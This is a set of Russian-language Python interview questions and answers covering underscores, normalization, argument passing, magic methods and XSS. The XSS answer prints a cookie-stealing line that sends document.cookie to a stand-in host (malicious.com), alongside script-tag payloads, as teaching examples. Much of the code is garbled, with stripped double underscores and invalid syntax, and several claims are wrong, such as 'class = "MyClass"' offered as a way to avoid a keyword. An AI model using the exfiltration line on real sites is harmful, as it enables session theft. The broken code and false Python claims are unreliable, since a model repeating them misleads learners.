В чем разница между одинарным и двойным подчеркиванием ?
Спросят с вероятностью 10%

Символы одинарного и двойного подчеркивания имеют разные значения и использования:

1️⃣ Одинарное подчеркивание _:

- Обычно используется для обозначения временных или ненужных переменных. Например, при распаковке кортежа в цикле можно использовать _ для игнорирования значений, которые вам не нужны:

 for , value in some_list_of_tuples:
         # используем только значение, переменная _ игнорируется
         print(value)

- Может использоваться для предотвращения конфликтов с зарезервированными словами, такими как lambda или class. Например:

class = "MyClass"  # избегаем конфликта с зарезервированным словом class

2️⃣ Двойное подчеркивание __:

- В начале имени атрибута или метода (например, __attribute или __method) используется для создания "приватных" атрибутов и методов. Такие атрибуты и методы становятся "скрытыми" внутри класса и не могут быть непосредственно доступны за пределами класса или его подклассов (хотя они могут быть доступны через механизм именования манглинга).

- Используется для имитации перегрузки методов операторов. Например, метод add() может быть использован для переопределения оператора сложения + для объектов класса.

Пример приватного атрибута и перегрузки оператора:

class MyClass:
    def init(self):
        self.private_attribute = 42
    def __add(self, other):
        return self.private_attribute + other
obj = MyClass()
print(obj.__private_attribute)  # Ошибка, так как __private_attribute является приватным атрибутом
print(obj.__add(8))           # Выведет: 50, перегрузка оператора сложения

Основное различие между одинарным и двойным подчеркиванием заключается в их использовании: одинарное подчеркивание обычно используется для временных переменных или избежания конфликтов имен, в то время как двойное подчеркивание используется для создания приватных атрибутов и методов, а также для перегрузки операторов.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что известно про нормализацию ?
Спросят с вероятностью 7%

Нормализация - это процесс организации данных с целью уменьшения избыточности и обеспечения целостности данных. Процесс включает в себя разделение данных на отдельные таблицы и установление связей между этими таблицами. Основные принципы нормализации определены в нормальных формах.

Вот основные принципы:

1️⃣ Первая нормальная форма (1NF):
- Все атрибуты в таблице должны быть атомарными, то есть каждый атрибут должен содержать только одно значение.
- Все повторяющиеся группы атрибутов должны быть удалены.

2️⃣ Вторая нормальная форма (2NF):
- Таблица должна находиться в 1NF.
- Каждый нетривиальный атрибут должен быть полностью функционально зависим от первичного ключа, то есть отсутствие частичной функциональной зависимости.

3️⃣ Третья нормальная форма (3NF):
- Таблица должна находиться в 2NF.
- Нет зависимостей на основе неключевых атрибутов, то есть отсутствие транзитивных зависимостей.

4️⃣ Нормальная форма Бойса-Кодда (BCNF):
- Расширение третьей нормальной формы, в котором дополнительное требование состоит в том, чтобы каждое нетривиальное функциональное зависимость A → B, где B не является ключом, было зависимым только от кандидат-ключа.

5️⃣ Четвертая нормальная форма (4NF):
- После разделения данных в 3NF, не должно быть многозначных зависимостей относительно многозначных зависимостей.

6️⃣ Пятая нормальная форма (5NF):
- Основная цель - минимизировать избыточные связи между таблицами путем удаления зависимостей и разделения данных.

Применение нормализации в базе данных позволяет уменьшить дублирование данных, уменьшить объем хранимой информации, обеспечить более простой доступ к данным и повысить целостность данных. Однако следует помнить, что избыточная нормализация может привести к увеличению сложности запросов и ухудшению производительности. Поэтому необходимо находить баланс между нормализацией и производительностью системы.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Как аргументы передаются в функцию, по ссылке или по значению ?
Спросят с вероятностью 10%

Аргументы передаются в функцию по ссылке на объект. Это не совсем то же самое, что "по ссылке" в других языках программирования, где ссылки являются указателями на объекты в памяти.

Когда вы передаете аргумент в функцию, вы передаете ссылку на объект, а не сам объект. Это означает, что если вы изменяете значение аргумента внутри функции, то эти изменения будут отражены на самом объекте за пределами функции. Если вы присваиваете новое значение самому аргументу, это не изменит объекта за пределами функции.

Давайте рассмотрим пример:

def modify_list(my_list):
    my_list.append(4)        # изменяем список, на который ссылается аргумент
    my_list = [1, 2, 3]      # присваиваем новый список самому аргументу

original_list = [0]
modify_list(original_list)

print(original_list)  # Выведет: [0, 4], изменения внутри функции отражены на оригинальном объекте

В этом примере список original_list изменяется внутри функции modify_list(), добавляя в него элемент 4. Эти изменения отражаются на самом объекте original_list, так как мы работаем с одним и тем же списком. Однако, когда мы присваиваем новый список переменной my_list внутри функции, это не изменяет объект original_list, а только изменяет то, на что ссылается аргумент функции.

Аргументы передаются по ссылке на объект, но поведение может отличаться в зависимости от того, какие операции вы выполняете с аргументами внутри функции.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Какие магические методы есть и для чего используются ?
Спросят с вероятностью 10%

Магические методы (иногда также называемые специальными методами) начинаются и заканчиваются двумя подчеркиваниями (например, init()). Они позволяют определить различное поведение для объектов, таких как перегрузка операторов, создание контекстных менеджеров, управление атрибутами и т. д. Вот несколько примеров наиболее часто используемых методов и их назначения:

1️⃣ init(self, ...): Вызывается при создании нового экземпляра класса и используется для инициализации его атрибутов.

2️⃣ repr(self): Возвращает "официальное" строковое представление объекта. Это используется для отладки и для получения строкового представления объекта при выводе в интерактивной оболочке.

3️⃣ str(self): Возвращает "неформальное" строковое представление объекта. Обычно используется для представления объекта в удобочитаемой форме для конечного пользователя.

4️⃣ len(self): Возвращает длину объекта. Это используется, когда объект поддерживает операцию получения длины, например, для строк, списков и т. д.

5️⃣ getitem(self, key): Позволяет объекту поддерживать доступ к элементам по индексу, как это делают списки и словари.

6️⃣ setitem(self, key, value): Позволяет объекту устанавливать значение элемента по ключу.

7️⃣ delitem(self, key): Позволяет объекту удалять элемент по ключу.

8️⃣ iter(self): Возвращает итератор для объекта, позволяя его использовать в циклах for.

9️⃣ next(self): Вызывается итератором для получения следующего элемента в последовательности.

🔟 enter(self), exit(self, exc_type, exc_value, traceback): Позволяют объекту быть контекстным менеджером, что позволяет определять действия, которые должны выполняться при входе и выходе из контекста.

Это лишь несколько примеров магических методов, которые можно определить. Они предоставляют мощные средства для определения поведения объектов и делают Python гибким и выразительным.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые

Что такое XSS. Примеры. Как защитить приложение ?
Спросят с вероятностью 3%

XSS (Cross-Site Scripting) — это вид атаки на веб-приложения, при котором злоумышленник внедряет вредоносные скрипты в контент веб-страниц, просматриваемых другими пользователями. Эти скрипты выполняются в браузере жертвы от имени веб-приложения, что может привести к краже учетных данных, сессий, изменению веб-страниц и другим безопасностным угрозам.

Примеры XSS-атак:

1️⃣ Отраженный XSS (Reflected XSS): Злоумышленник отправляет жертве ссылку с вредоносным кодом в параметрах запроса. Когда жертва переходит по ссылке, вредоносный код отражается от сервера в ответе и выполняется в браузере.

Пример ссылки: http://example.com/search?query=<script>alert('XSS')</script>

2️⃣ Сохраненный XSS (Stored XSS): Вредоносный скрипт сохраняется на сервере (например, в базе данных) и возвращается и выполняется в браузере каждого, кто просматривает зараженный контент. Это может произойти, если злоумышленник добавляет скрипт в комментарии на форуме, который не фильтрует вредоносный код.

Пример комментария: 

<script>alert('XSS')</script>

3️⃣ DOM-based XSS: Этот тип XSS происходит, когда вредоносный скрипт изменяет DOM (структуру документа) веб-страницы с помощью клиентского, не отправляя вредоносный код на сервер.

Пример:

document.location.href = 'http://malicious.com/?cookie=' + document.cookie;

Защита от XSS:

1️⃣ Экранирование ввода пользователя: Преобразование специальных символов (например, <, >, &, " и ') в их HTML-энтити (например, <, >, &, " и ') при отображении их на веб-странице. Это предотвращает интерпретацию введенных данных как часть HTML или JavaScript.

2️⃣ Использование Content Security Policy (CSP): Позволяет веб-приложениям указывать, какие источники контента разрешены для загрузки и выполнения, что помогает предотвратить выполнение вредоносных скриптов.

3️⃣ Валидация и санитизация данных: Строгая проверка вводимых данных на соответствие ожидаемому формату и очистка данных от потенциально опасных элементов перед их обработкой или сохранением.

4️⃣ Использование автоматических инструментов защиты: Фреймворки и библиотеки часто предлагают встроенные механизмы для защиты от XSS, такие как автоматическое экранирование вывода.

Пример защиты на стороне сервера:

from flask import Flask, request, escape

app = Flask(
name
)

@app.route('/search')
def search():
    query = request.args.get('query', '')
    # Экранирование строки запроса для безопасного отображения
    safe_query = escape(query)
    return f'Результаты поиска для: {safe_query}'

if 
name
 == '
main
':
    app.run()

В этом примере, используя функцию escape из Flask, мы экранируем пользовательский ввод, чтобы предотвратить выполнение вредоносного кода, который мог бы быть встроен в запрос.

XSS — это серьезная угроза безопасности веб-приложений, позволяющая злоумышленникам выполнять вредоносные скрипты в браузерах пользователей. Для защиты от XSS необходимо экранировать ввод пользователя, использовать CSP, проводить валидацию и санитизацию данных, а также применять встроенные средства защиты веб-фреймворков.

XSS — это когда плохие люди вставляют в сайты вредоносные программы, чтобы украсть ваши данные или сделать что-то плохое. Защититься можно, делая специальные проверки данных, которые люди вводят на сайт, и не позволяя этим программам запускаться.

👉 Можно посмотреть Примеры как отвечают люди на этот вопрос, или перейти К списку 1096 вопроса на Python разработчика. Ставь 👍 если нравится контент

🧩 Идущий | 🔐 Собесы | 🔐 Тестовые